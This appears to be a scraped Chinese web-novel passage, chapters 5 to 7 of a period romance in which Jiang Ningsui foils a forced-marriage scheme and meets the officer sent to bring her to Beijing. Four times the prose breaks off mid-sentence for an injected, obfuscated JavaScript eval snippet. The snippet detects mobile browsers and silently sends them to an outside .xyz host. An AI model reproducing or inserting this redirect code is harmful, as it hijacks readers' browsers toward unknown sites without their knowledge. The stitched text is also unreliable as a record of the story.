这还是他们粮所呢,都是他熟稔的同事,就算给宁穗闹也闹不出什么水花来。 不过宁穗突然大呼大喊,免不得被人议论。 宁穗闻言立刻就抽泣起来,但依然大声反驳:“我还是一个清清白白的女同志,我跟你半点关系都没有。我告诉你,我已经写了举报信到你们的政治处,我相信组织一定会还我一个公道的!” 政治处的同志还没看完宁穗刚刚给他的举报信呢。 想不到事情已经在粮所闹开了! 众人纷纷伸长了脖子,想要看看政治处同志手里的信件。 看看宁穗是不是真的把冯进财给举报了。 于是政治处的同志就拿着举报信说道:“确实有这么回事,江宁穗同志实名举报冯进财散播谣言,毁坏女同志的名声。” 众人哗然。 一个姑娘家家的,亲自过来实名举报,看来两人处对象这事是假的啊。 一开始起哄调侃看热闹的几个男人看向了冯进财,毕竟之前是他信誓旦旦说很快就要娶宁穗当媳妇。 怎么地现在却被人实名举报了? 冯进财没想到事情居然往这个方向发展,他还以为宁穗会一直忍气吞声到出嫁的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899276|160049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一天。 看着大家的指指点点,冯进财咬了咬牙,隐忍道:“各位同志别误会,我们只是发生了一点矛盾,我们确实是在处对象,只是她比较害羞而已。” 宁穗疾声道:“你放屁!我们机床厂的梁主任跟你是亲戚吧?她已经帮我报名了厂里的相亲大会,如果我跟你在处对象,她会帮我报名相亲大会吗?” 冯进财脸色唰地一下白了。 原本,他打算趁着这次相亲大会跟宁穗好好认识一番,才找了梁主任给宁穗一点压力。 没想到居然成了搬石头砸自己的脚! 宁穗看着冯进财无话可说的样子,见好就收:“冯同志,请你以后不要再打扰我,你要是再污蔑我,我就去报公安!” 目的达到了,宁穗撂下狠话之后,就直接转身离去。 李素芬之前说他们已经收了冯家的礼金,这事不一定是空穴来风,如果冯进财真的拿出了证据。 那到时候群众的唾沫星子,能把她直接淹死。 到时候真的是不嫁也得嫁。 看着宁穗离去的背影,冯进财不满地往地上啐了一口唾沫,双眼中射出两道狠厉的光芒:“你家江民安可是收了我的一半礼金,你以为还能逃出我的掌心?” 就是绑,他也要把宁穗绑到自己的家里。 * 好几天过去,闲言闲语终于少了一些。 想也知道,肯定是之前她闹出来的动静有了作用。 虽然冯进财的事情暂时平息了,但等了将近一个星期,宁穗都没有等到那京市所谓的哥哥来接她。 她开始怀疑那到底是不是一个恶作剧。 根本就没有什么哥哥! 那电报真的是从京市打过来的吗? 而且就算真的有这么一个哥哥,那这个哥哥实在是太不灵光了。 如果一开始直接把去往京市的介绍信寄给她,她老早就可以离开这里。 非得来接她! 现在半点音讯都没有,好像电报根本没有出现过一样。 眼看着相亲大会很快就要来,到时候要是冯进财又给她使绊子,那可真是麻烦了。 即便不是冯进财,换了其他的男人,宁穗也很难再找借口去拒绝。 在这个年代像她这样年纪的女同志,基本上都结了婚生了娃。 尤其是村子里,过了二十岁不嫁,会被笑话是老姑娘。 宁穗是机床厂的正式工,又是见义勇为英雄的孩子,组织对她的个人问题更是重点中的关注。 要是她的哥哥再不来接她,恐怕真的要随便找个男人给嫁了。 看来还是得想想办法。 宁穗拖着忙碌一天的疲惫身躯回到江家小院,还没进门就听到了李素芬和江民安似乎在密谋着什么事情。 一听到她进门的声音,江民安心虚地回到床上。 李素芬却一反平时的冷淡和疏离,不知道从哪拿出了一条红色的裙子,笑眯眯地对她说:“宁穗,听说你明天要参加你们厂里的相亲大会,这件裙子是我给你准备的,你明天记得要好好打扮打扮。” 宁穗看着面前陌生的中年妇女,灵敏地捕捉到她递裙子时一闪而过的心疼眼神。 宁穗明显感觉到有诈,但又说不出哪里不对劲。 5. 第 5 章 第 5 章 翌日下午,机床厂和锅炉厂联合组织的相亲大会如火如荼举行。 这次相亲大会最受瞩目的,无非就是宁穗的报名参加。 宁穗亲自去粮所实名举报冯进财造谣的事情已经在厂里传了开来,所以当相亲大会开始之后,好几个男同志都在等待着宁穗的出现。 尤其是跟宁穗在同一个车间的那些男同志,简直就是望穿秋眼。 宁穗刚刚进厂的那会儿,好些男同志明里暗里对宁穗示好意。 无奈宁穗性格内向害羞,对广大男同志的示好无动于衷。 前不久冯进财时不时过来机床厂溜达,还对大家说了些模棱两可的话。 男同志们都以为宁穗已经名花有主,他们这些暗恋者只能默默的祝福。 但当大家看到相亲大会上面的名单时,又燃起了希望。 准备在这次相亲大会中使出浑身解数,力争抱得美人归。 而当事人宁穗,此刻却坐在某个废弃的仓库房里打瞌睡。 昨晚她被李素芬烦了大半晚。 李素芬先是软磨硬泡让她试了那条特地准备的裙子,还拿出了压箱底的花朵头绳和胭脂,给她又涂又抹。 想要把她嫁出去的意图,直接就刻在了脑门上。 宁穗伸直长腿,交叠着撂在了一堆木头上,打算好好补一觉。 倏然,废弃仓库的铁门“吱呀”一声被推开。 紧接着,一阵窸窸窣窣的暧昧摩擦声从不远处传来,压抑的娇羞叫吟让宁穗这个新时代女性都觉得脸红耳赤。 这一对野鸳鸯可真是猖狂大胆啊! 宁穗在这个年代待的时间不长,但也知道男女大防。 如非必要,都不会主动跟男同志有过多的来往。 到底是谁这么孟浪?! 宁穗吃瓜的好奇心蠢蠢欲动,决定冒着被发现的风险,看看到底是哪个这么色胆包天,光天白日就干柴烈火的烧得噼里啪啦。 “行啦,又不是十七八岁的毛头小伙,你急啥?等今儿晚孩子们睡了再过来。”李素芬那突兀的声音从昏暗的角落传过来,宁穗差点从木凳上掉下来。 呵呵呵,还以为是血气方刚的小年轻呢。 还得是老一辈的有经验人士玩得花啊。 宁穗竖起了耳朵,决定听一听那野男人到底是谁! 男人笑吟吟道:“老子这不是想你了吗?你都多久没理我了?老子都憋得要爆了。” “你个死东西,别以为我不知道你跟红星村那个张寡妇眉来眼去,指不定都趁我不留意,都跟人家好上了吧?” “张寡妇哪里能跟你比……” 口口口…… 过于刺激,不宜展示。 宁穗听着角落里头那对野鸳鸯缠缠绵绵说了一堆荤话,终于记起了那男人居然就是二车间的副主任李四生。 这不是江建国以前的下属吗? 李素芬是从原主养父去世之前就跟李四生存在不正当关系,还是在去世之后? 正当宁穗思索之时,突然从李素芬嘴里听到了她的名字。 李素芬说:“我这次找你是有正事的,冯家老二看上了宁穗那死丫头,你今天无论如何都要撮合他们俩。” 李四生:“我怎么撮合他们俩?宁穗本来就长得俊,那皮肤又白又嫩的,厂里多少男同志都喜欢她,个个都等着这次相亲大会跟宁穗说上几句呢。” 李素芬明显对李四生说的话不满,咬牙切齿道:“长得俊就长得俊,什么又白又嫩,你是不是对她有意思?不要脸的死东西!” 宁穗:“……” 恶心至极。 李四生软声软气哄了几句,然后说:“我的意思是这次相亲大会我也没办法,你也不是不知道厂里对宁穗的个人问题有多重视,深怕没处理好,上面就会找我们麻烦。” 李素芬:“那冯家老二条件不是挺好的吗?配那个死丫头绰绰有余了。反正我不管,你给我尽力撮合他们俩。” 江民安已经跟厂长家的侄女谈了,要是能搭上厂长这门关系,以后她儿子就不用那么辛苦了。 说不定以后冯家也能帮衬个一二。 “行行行,我尽力吧。” 李素芬不放心,叮嘱道:“实在不行,等天儿黑了,你找个借口让宁穗去礼堂后面的仓库,冯家老二会在那里等着,到时候我再找几个人过去,就说他们谈上了,就是宁穗想不认都不成!” “得得得,知道了。” 宁穗听着李素芬的话,无声地冷笑起来。 原来为了让她嫁给冯进财,李素芬居然真要使脏手段了呢! 看来她可以再狠心一点。 工作卖了,房子也不能留给她跟江民安这两混蛋! 好一会,李四生又开始动手动脚起来,后来是李素芬着急不断催促他赶紧回去相亲大会,约他今晚八点半再过来。 这两野鸳鸯才停下了让人脸红的探索。 李四生嘴里骂骂咧咧:“今儿晚过来,你再穿一次那条红色的裙子,那裙子好看。” 李素芬:“死鬼,那裙子是冯家老二买的,今天得让宁穗穿。” 宁穗:“……” 她再也无法直视那条本来就土土的红裙子了。 现在不仅是土,还令人恶心! 不过也幸好让她知道了那条裙子的来历,如果她真的穿上那条裙子去相亲大会,那就糟了。 冯进财他们就可以污蔑她收下了裙子,就是代表愿意跟他处对象。 这年头能送裙子当礼物,除了亲人,那就是情人。 宁穗听着二人离开的脚步声,心生一计。 既然他们都等着她中计,那她干脆将计就计! * 宁穗后脚跟着他们离开了废弃仓库。 然后回去江家小院,换上了一条同样是红色碎花的裙子,前往相亲大会。 宁穗一出现在相亲大会的礼堂时,就吸引了无数男同志的目光。 宁穗的肤色莹白,弯眉下是一双黝黑的大眼睛,灵动干净。 红色碎花连衣裙穿在她的身上,显得身段纤细,但玲珑有致。 那两条黝黑光亮的麻花辫垂在肩上,衬得她更是清丽纯净。 尤其是她笑起来之后,唇边还有个浅浅的酒窝,平添几分调皮。 最激动的莫过于一直坐在角落里头的冯进财,看到宁穗穿上了他精心挑选的裙子时,心跳随即漏了几拍。 过了今晚,宁穗就属于他的了! 宁穗缓步走进礼堂中央,政治处的梁主任率先迎了过来:“宁穗同志,大家都等着你呢。” 一些过来参加相亲大会的女同志听到了梁主任的话,当即就不爽了。 凭什么宁穗就可以得到领导的特别关照,她们就该干巴巴的等着? 宁穗却对这些闲言闲语毫不在乎,她笑眯眯地点了点头:“谢谢组织的关照,我刚刚去换了身裙子,来晚了。” 梁主任早就注意到宁穗身上的裙子了,她之前就听冯进财说了,他送了一条红色裙子给宁穗,就盼着她有一天能够穿上。 本来她就觉得宁穗好看,平时穿着灰蓝色的工作,就算再好看也是有点乏味。 但宁穗穿上了这条裙子之后,确实有种让人神魂颠倒的魅力。 难怪冯进财这么执着,非她不可,是真真长得俊俏。 梁主任满意地点头:“过去坐吧,先跟大伙儿认识认识。这次不仅有咱们机床厂的男同志,还有锅炉厂,粮所,公社,供销社过来的男同志,有看对眼的,悄悄跟我说。” “好的,谢谢主任。” 这次的相亲大会不是一对一的形式,而是开大会一样的安排着一堆单身的男男女女,面对面坐成一排。 尴尬至极,没有人敢开口说话。 尤其是女同志们,个个都别开目光,仿佛像是怕被老师点名的学生。 但宁穗就不一样了,大大方方地坐了下来,然后对着对面的那一排男同志露出了一个浅笑。 宁穗的一举一动本来就受到了众人的瞩目,尤其是这浅浅一笑,无疑是打开了无数男同志的春心。 很快就有了第一个男同学过来嘘寒问暖。 但宁穗说话滴水不漏,既没有表现出喜欢,也没有表现出拒绝。 只是像个朋友一样,跟他聊兴趣爱好。 但不知道为什么,来了两个男同志示好之后,后来居然一个都没有再过来找宁穗。 想也知道是冯进财那个混蛋干的好事! 无聊又尴尬的相亲大会进行到下午五点,已经促成了三四对情侣,冯进财等得心急火燎。 要不是他偷偷去恐吓那些个男人,他的穗穗怕是早就被骗走了。 正当冯进财准备找“落寞已久”的宁穗说话时,一个小男孩突然塞给他一张纸条:“哥哥,这是穿红色裙子的姐姐让我给你的。” 冯进财喜出望外,就知道他的穗穗害羞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899277|160049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,早知道她喜欢写信,他天天给她写情书。 纸条上白纸黑字写着:【八点整,机床厂废弃仓库相见】 落款:红裙姑娘 冯进财那颗心狂跳起来,要是知道宁穗喜欢这种偷偷摸摸的相处,他又何必苦苦等到现在? 冯进财捏着被激动的手汗濡湿的纸条,像只斗胜的公鸡,雄赳赳地走到宁穗身边,低语:“穗穗,今晚见。” “放心,我一定会去的。” 宁穗看着冯进财说完就跑的背影,内心呵呵一笑。 “今晚当然要见,不仅要见,还要让更多人看见!” 而那边一直观察着宁穗一举一动的李四生,在看到冯进财离开后,马上就上前来试探问:“江宁穗同志,今天的相亲大会你可有心意的男同志?” 宁穗看到李四生这张圆滚滚又坑坑洼洼的麻豆脸,回想起在仓库时听到的露骨情话,实在是想不通李素芬是怎么吃得下这张嘴的…… 她不忍直视,笑了笑:“谢谢李主任的关心,今天这么多优秀的男同志,我当然有心意的。不过……” 宁穗故意卖了个关子,笑了笑:“不过这事我也不好跟李主任细说,您可别介意。” 女同志害羞,理解。 李四生没有追问下去,刚刚他是亲眼看到了冯进财过来跟宁穗说了几句话,然后兴高采烈地走了。 看那样子,铁定是成了啊。 不然怎么会高兴得屁股翘上天了? 李四生笑呵呵跟宁穗客套几句,然后也走了。 * 与此同时,贺长青驱车来到了机床厂的大门。 昨晚他完成了任务,直接就开车往江河镇赶来。 想不到还是迟了些,看样子机床厂已经到了下工时间。 贺长青把车子停在厂门口那宽敞的泥地上。 门口穿着军绿色工服的大爷以为是哪位领导下厂视察,连忙从门岗室小跑着出来。 只见一双笔直又有力的长腿从驾驶位轻松而下,男人身上穿着笔挺挺的军装,身上冷峻严肃的气质无比摄人,让他在人群中显得更加卓然不凡。 这是哪个组织派来的大人物啊。 怎么都没人提前说一下?! 贺长青下车之后,相随的下属黄东升也跟着下了车:“团长,就是这里了吧?” 贺长青办好了事,什么都没说直接往这边赶,黄东升都以为是他又接到了什么紧急任务,一路上都不敢多问,只埋头帮忙看地图看路线。 贺长青清冷地“嗯”了声。 他锐利的眼神早已经注意到门岗大爷的打量,于是拿着宁穗的照片,上前礼貌问道:“同志,请问这里是否有一个叫江宁穗的女同志?” 江宁穗? 那不是厂花儿吗? 谁能不认识? 尤其今天还是相亲大会的日子,多少男同志心心念念着这个女同志的名字呢! 看来这位军人同志也是慕名过来相亲的吧! 哎哟喂,不得不说,宁穗这么俊的姑娘跟威风凛凛的军人同志更配呢。 那些个男同志瞬间就被比下去了。 大爷瞄了一眼贺长青手里的照片,连忙点头:“对对对,宁穗同志就是咱们机床厂的,她还在礼堂那边呢,你现在过去还来得及。” 贺长青没有深究大爷话中的意思,只捕捉其中关键的信息,礼堂。 道谢过后立马迈开长腿往礼堂赶过去。 宁穗掐着时间,等待着李四生先去跟李素芬通气,让他们先放下戒心。 然后就坐等安排今晚的好戏上场。 人群散去,宁穗也准备离开。 当她站起来抬头一望的瞬间,猝不及防撞上了一双黝黑深邃的眼睛。 她下意识抿起了唇,眼睛瞬间亮了起来。 这男人,怎么长得这么帅?! 天啊天啊,谁说没有身材好又长得帅的男人。 极品这不是就在眼前吗?! 随后,一道低沉有着磁性的男声在耳畔传来:“你是,江宁穗同志?” 宁穗眼睛亮了又亮,无数的念头在脑海匆匆飘过,然而她的目光再次注意到男人修长指尖上的那张小小的照片—— 这不是她寄出去的照片吗? 瞬间,一道狂喜像是汹涌的浪潮涌上了心间。 她顾不上所有的礼仪拘束,席卷而来的激动让她下意识就跳了起来,直接就抱住了面前的男人:“哥哥!” 6. 第 6 章 第 6 章 “哥哥!” 清脆悦耳的叫唤在贺长青耳边响起,一道清幽的香气排山倒海侵袭而来。 面前的姑娘以迅雷不及掩耳的速度紧紧地抱住他,让一向身手敏捷,雷动风行的贺长青居然没能在第一时间闪躲开去。 贺长青用力把挂在他身上的姑娘往下拉,无奈对方的力度之大,根本不像一个女同志该有的力量。 怎么回事?! 跟在贺长青身后的黄东升:“……” 他是不是不应该在这里,应该回去车里? 宁穗抱着面前的男人,狂喜过境仍激动万分:“呜呜呜,哥哥,我的好哥哥啊,我可终于等到你来了!” “我还以为你不来了,我以为你是骗我的。” ——再不来,她真要随便找个男人嫁了! 就说嘛,她长得这么俊,哥哥也应该长得很帅。 可她没想到居然帅得如此惊天动地,惊为天人! 这么帅气的男人居然是她的哥哥,想想都美滋滋的。 “放手!” 男人肃厉冰冷的声音如同地狱而来的勾魂使者,吓得宁穗立马松开了原本紧紧环抱的手臂,既尴尬又无奈地看着他。 “男女大防,男女大防。”宁穗语无伦次念叨着:“对不起哥哥,我实在是太激动了。” 这个年代,哪怕是亲人,都不能随意有肢体上的接触。 哎,这都什么条例嘛! 第一次感到人生没有意思。 贺长青眉头紧蹙,一向沉稳的心情在此刻浮起了微微的烦躁。 他仿佛用尽了全身力气才把那陌生的躁动压制下去,清冷开口:“我不是你哥哥,我叫贺长青,我是你哥哥宁望北委托过来接你去京市的战友。” 不,不是哥哥? 天啊噜,她到底做了些什么啊!!! 宁穗一脸懵逼地看着面前的俊朗男人,复杂的情绪在心间匆匆闪过,难以形容此刻的心情到底是欢喜激动还是尴尬困惑。 突然觉得…… 就算不是哥哥,好像也挺好! 但是贺长青那严肃又矜傲的神情,让宁穗倏然害怕起来。 他会不会已经有了媳妇孩子,所以对她刚才的举动感到无比愤怒? 毕竟这年代的人结婚得都早,尤其是这么帅气的男人。 怕是早就名草有主了吧? 幸好礼堂已经没有其他人,那她今天得被骂死在这里! 面前的这位贺同志也会被她牵连,受众人的指责。 宁穗垂下了脑袋,再次道歉:“对不起贺同志,我刚刚太激动了,请你不要误会,我真的不是故意的。” 说完,又偷瞄了对方一眼。 这事不能怪她,明明是她那所谓的哥哥发电报过来说接她。 谁知道来的人居然是他的战友,也没跟她说啊。 只见对面的贺长青半垂着侧脸,完美的五官映衬得他严肃又矜傲。 如果这真是她的哥哥,她真的好想要仔细欣赏欣赏这盛世俊颜。 可惜啊可惜。 贺长青笔直地站立在原地,狭长的眸子透着漆黑的亮光,薄唇微微抿着。 他凌厉的目光看着宁穗那黑亮亮的脑袋,狡黠又无辜的眼睛,突然间喉咙酸涩。 一时间,贺长青竟也无法出言怪责,只僵硬地吐出两个字:“算了。” 一直在旁边吃瓜的黄东升:“???” 听到昔日不近人情的贺团长居然说出‘算了’二字,黄东升露出了一个见鬼的表情。 他上一回对着姚司令的孙女可不是这么好说话的啊! 人家一个养尊处优的女同志,直接红着眼眶从他办公室出来的,他可没有半句怜惜。 怎么地就这么算了? 宁穗又偷瞄了一眼贺长青那张盛世俊颜:“同志,你真不怪我?” 贺长青黝黑的眸子划过一丝无奈,冷酷地转移了话题:“我两天后必须回京,你如果想去找你的哥哥,两天内把这边的事情处理好。” 宁穗:“……” 好无情。 但好帅。 看在他这么帅气的份上,宁穗原谅他的无情一秒钟:“你等我两天,我到时候跟你一起去京市。” 好不容易等到的机会,她肯定不能放弃啊! 两天时间,足够她把江河镇的事情处理好。 宁穗看着贺长青那张毫无表情的俊脸,试探性问:“那我去哪里找你?你们有住宿的地方吗?需不需要我帮你们安排?” 贺长青沉声道:“不需要,两天后我来找你。” 宁穗“哦”了一声,“好吧。” 宁穗再次感叹人是没有完美的。 就像眼前这个帅气的男人,冷酷得如同高岭之花。 也不知道谁是他的媳妇这么倒霉。 白瞎一张好脸。 宁穗想到过两天还要拜托他陪同回京,再次友好地询问:“贺同志,你吃东西了吗?要不,我请你吃个饭?” 贺长青:“不用。” 被漠视已久的黄东升终于找到了表现的机会,温和回应:“不用了同志,我们已经安排好了。天色不早,你不如先回家吧。” 明明这么乖巧善良的女同志,黄东升都不忍宁穗再受到无情的对待。 天知道他家贺团长冷血起来,会说出些什么难听的话伤害女同志脆弱的心灵。 还以为他家团长马不停蹄赶过来是为了找对象呢。 吃瓜半天,原来眼前的小姑娘是宁师长家的闺女。 不过别说是师长家的闺女,在他家团长的眼里,就算是司令员的孙女也是不放在眼里。 还真是铁石心肠的大直男。 宁穗这才注意到贺长青身后的男人,于是笑眯眯地点头:“好的,既然你们已经安排好,那我就争取把这边的事情处理好,到时候要麻烦你们陪同我去京市。” 贺长青板着脸没回话。 黄东升礼貌地点头笑了笑:“如果同志你有需要我帮忙的地方,可以来军人招待所找我,我叫黄东升。” 宁穗笑得更明媚了,真挚道:“黄同志,谢谢你。我叫宁穗,军人同志果然是最可爱、最可敬的人。” 黄东升如沐春风,憨憨道:“宁穗同志说笑了,为人民服务,是我们的天职。” 黄东升被宁穗的一番话说得飘飘然的,丝毫没有察觉身边某人已经铁青的脸。 宁穗倒是看得清清楚楚,贺长青那冷冽的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899278|160049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,似乎对她很是不满。 不过她宁穗是什么人? 知难而上,越战越勇,就没有她会退缩的事情。 宁穗笑眯眯地看着贺长青,说:“贺同志,那我先回家了,等我处理好这边的事情,我再去找你。” 贺长青“嗯”了一声。 宁穗不太信任地再次说道:“贺同志,你可千万不要落下我,我两天后一定要跟你一起回去京市的。” 贺长青蹩眉:“我说过等你,就一定会等你。” 宁穗挑起眉眼,不满嘀咕道:“那可不一定,你连住哪儿都不肯告诉我,我怎么知道你会不会丢下我不管。” 宁穗噼里啪啦一口气把这几天被冯进财污蔑清白,被厂里强硬要求相亲等等的事情说了个干净,最后可怜巴巴地总结道:“幸好你们来得及时,我感觉我的人生一下子迎来了光明!” 贺长青:“……” 可是看着宁穗那皱起的秀眉,他莫名生出了极为罕见的负罪感。 贺长青张了张嘴巴,思索几番,说:“我不会丢下你。” 宁穗听到了应承,笑眯眯地点头:“谢谢贺同志,你真是太好了!” 黄东升差点笑了出声,跟在贺团长身边将近五年了,还是第一次听到有女同志说他是好人。 贺长青在部队里面可是出了名的不近人情,女同志在他这里也不会有任何的优待。 不少女同志因为贺长青这一副俊朗的长相而受骗,可是一旦接触过之后,女同志都会唾骂一句:这人没有心! 宁穗看来还没真正领略过贺团长的“本领”,说不定几天后到了京市,第一个就是跟他老死不相往来。 黄东升看着宁穗渐行渐远的身影,侧目看着自家老大,“团长,宁穗同志真是宁营长的妹妹?” 贺长青沉默片刻,道:“他觉得是。” 贺长青对别人的家事没有兴趣,即便那是他共同革命的战友。 他的任务是把人接到京市去,剩下的与他无关。 黄东升小声笑道:“确实跟宁营长有几分相像,没想到宁师长家的几个孩子都长得这么俊呢。不过宁穗同志在这里好像受了很多的委屈,真是可怜的姑娘。” 贺长青瞥了他一眼:“……” 黄东升:“团长,等两天回去坐火车回京,你可不能对人家太凶了。” 贺长青脑海闪过宁穗那张莹白灵动的脸,什么都没说。 黄东升还在自言自语:“还是个单身女同志呢,到时候去了家属院不得掀起一番腥风血雨,啧啧啧。” 不过既然是宁师长的闺女,以后找的对象肯定也不会差。 反正别找他家团长这种又冷又硬的石头男就行了。 直到宁穗的身影彻底消失在夜幕下,贺长青才发现手里还捏着一张小小的照片。 照片上的小姑娘眉眼弯弯,又粗又黑的辫子垂在肩膀上。 单看长相又软又乖,确实很漂亮。 贺长青不动声色把照片收起来,说:“去招待所。” 黄东升摸了摸咕噜噜的肚子,求饶道:“团长,咱们能先去吃点东西吗?我饿了。” 贺长青觉得带黄东升出来就是麻烦。 不知道两天后,会不会再多一个麻烦。 7. 第 7 章 第 7 章 这会儿还是晚饭时间。 宁穗走在路上受到了不少街坊邻里的关注,都在好奇她今天有没有在相亲大会上相中合适的对象。 “小江同志,今天有没有相中哪个男同志啊?” “这么多男同志任你们挑,肯定有中意的吧?” “我看供销社的小邱就不错,人家小伙子以前可是天天给你爸留菜留肉的呢。” 宁穗的个人问题不仅在厂里是重点大事,在家属区也是人人最喜欢讨论的话题。 只因宁穗已经二十二,换了其他的女同志,家里孩子都能打酱油了。 尤其前不久李素芬还说给宁穗定了门婚事,结果反手又被宁穗举报冯家老二造谣,这些事情都是是邻居们津津乐道的八卦。 今天的相亲大会办得这么热闹,大家肯定都好奇宁穗这次能不能把自己嫁出去。 宁穗若是想要回家,这是必经之路。 肯定躲不过这些七嘴八舌的婶子们,干脆诚实道:“没有相中。” 有热心的婶子就问:“宁穗,你是喜欢啥样的男同志啊?要不婶子给你介绍介绍吧。” 宁穗的脑海莫名闪过贺长青那张绝世俊颜,笑了起来:“我喜欢军人同志,不仅是要身材好,还要长得帅。最好家里是没爹没娘的,以后也不用担心有婆媳问题。就算爹娘还在也行,最好是国家干部,觉悟高有素质,争吵也少一点。哦对了,要是可以的话,最好是个团级干部,工资也能高点。” 婶子们差点被宁穗的一番话给气喷了。 身材好,长得帅,还得要工资高,这是正经姑娘说得出来的话? 眼光这么高。 活该二十好几都嫁不出去呢! 再说了,真有这么优秀的男同志,也轮不到介绍给你,留着给自家的孩子不好? 有尖酸刻薄一点的婶子就冷嗤一声:“哎哟宁穗,不是婶子说你啊,再挑可就没人敢要你了。女人嘛,挑个老实点的,家里条件过得去就行了。你以为团级干部那么容易找?” “就是啊,军人同志是好,不过你要是嫁了之后几年不回来一次,你也够呛哟。还说要家里没爹没娘,你怕是不知道日子难熬。” 更别说就宁穗长的这张脸,哪个男人放心她一个人在家? 宁穗挑起眉:“也是,婶子们天天都闷在村里镇上的,哪能有机会认识那么优秀的军人同志呢,看来是我想多了。” 大家都听出了宁穗在阴阳她们没见过世面,脸色开始变得有点难看。 有人便说:“你这都二十二了,再不嫁以后怕是要嫁个二婚的咯,别说团级干部了,新兵蛋子也没你的份。” 宁穗笑了笑:“我有没有份还不能这么快下结论,毕竟我还年轻,不过肯定是没婶子你的份。” 众人哑口无言。 也不知道宁穗是什么时候变得这么伶牙俐齿,居然这么能说会道! * 宁穗打败了一众八卦团伙,踩着轻盈愉快的脚步回家。 洗了澡之后,她便把李素芬昨晚给她的那条红色裙子,放回了对方的床上。 “芬姨,裙子还你。” 李素芬昨晚把裙子给她的时候,并没有说出这条裙子是冯进财买的。 所以宁穗也跟她装傻,把裙子还给她。 “这裙子……” 李素芬早早也洗了澡,身上还有皂角的茉莉香,看到宁穗拿回来的裙子,有点纠结。 其实在前几天,她就穿过这裙子跟李四生见面,那臭男人喜欢得紧。 可惜这裙子并不是她的,她倒是想要,就是怕冯进财知道了会不喜欢。 宁穗早就知道李素芬想要这条裙子,当时把裙子给她的时候一脸的心疼。 不知道的,还以为是李四生这个情夫给她买的呢。 于是宁穗笑了笑,说:“这条裙子我穿着不合身,不过我觉得非常适合芬姨你,芬姨你皮肤好,穿红色更显白了。” 哪有女人不喜欢听恭维的话,即便李素芬平时对宁穗颇有意见,但听到这番话还是笑得花枝招展。 李四生也说她穿这条裙子显白呢。 李素芬:“唉啊,我都几十岁了,哪能穿这么艳的裙子,还是你拿去穿吧。” 宁穗:“芬姨才四十出头呢,正是风韵犹存的年纪,当然得穿好看的。” 李素芬被夸得飘飘然,想着今晚再穿一次,到时候等冯进财和宁穗定下来,再告诉她其实是冯进财买给她的。 反正穿一次又不会怎么样。 以前大家连衣服都没得穿,不都是家里人轮流着穿。 宁穗以后嫁过去冯家要多少条裙子没有,肯定不至于跟她计较的。 李素芬干脆把衣服给收了起来,打算等会出去见李四生的时候给换上。 李素芬盯着宁穗那张漂亮的脸蛋,急切地问:“对了,今天的相亲大会……” 宁穗挑起秀气的眉毛:“很顺利,很快就会有好消息了!” 很快她就要离开这个鬼地方,可不是好消息? 李素芬乐坏了,其实她在回家之前偷偷跟李四生见了一面。 李四生也说冯进财离开相亲礼堂之前跟宁穗有说有笑的,看那样子似乎是成了。 刚刚她还不相信,现在听宁穗这么一说,看来这事是真成了。 . 李素芬准备出门的时候,从外面回来的江民安突然拉住了她。 “妈,刚刚我碰到财哥,他说宁穗答应跟他处对象了。” 李素芬一边梳着头发一边说:“就今天去相亲大会的那堆人里面,就数冯家那老二条件最好了。她宁穗这都不选冯家老二,大概率是脑子有病!” 江民安松了一口气:“江宁穗那死丫头总算是答应了,要是她再不肯点头,我都准备把她弄晕,直接送过去财哥家里。” 江民安这几天为了宁穗的事伤透了脑筋,一方面怕冯进财找他要回那些礼金,一方面也怕自己的对象跟他分手。 要是宁穗再拖下去,他肯定不会这样由着她。 到时候只要宁穗嫁过去冯家,他还可以说服冯进财把宁穗弄进去粮所,那机床厂的工作就会非他莫属。 以后他就可以在机床厂风生水起。 李素芬对着桌子上那个小小的镜子绑辫子,得意洋洋地说:“犯不着,这不是处上了吗?” 江民安却没有这么自信,总感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899279|160049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉不大放心:“妈,你说宁穗那丫头会不会突然反悔?” 李素芬往头上别了个红花,说:“等过两天,你让冯家老二约宁穗出去,我们到时候找些人过去蹲着,等到大家都知道了就由不得她反悔。” 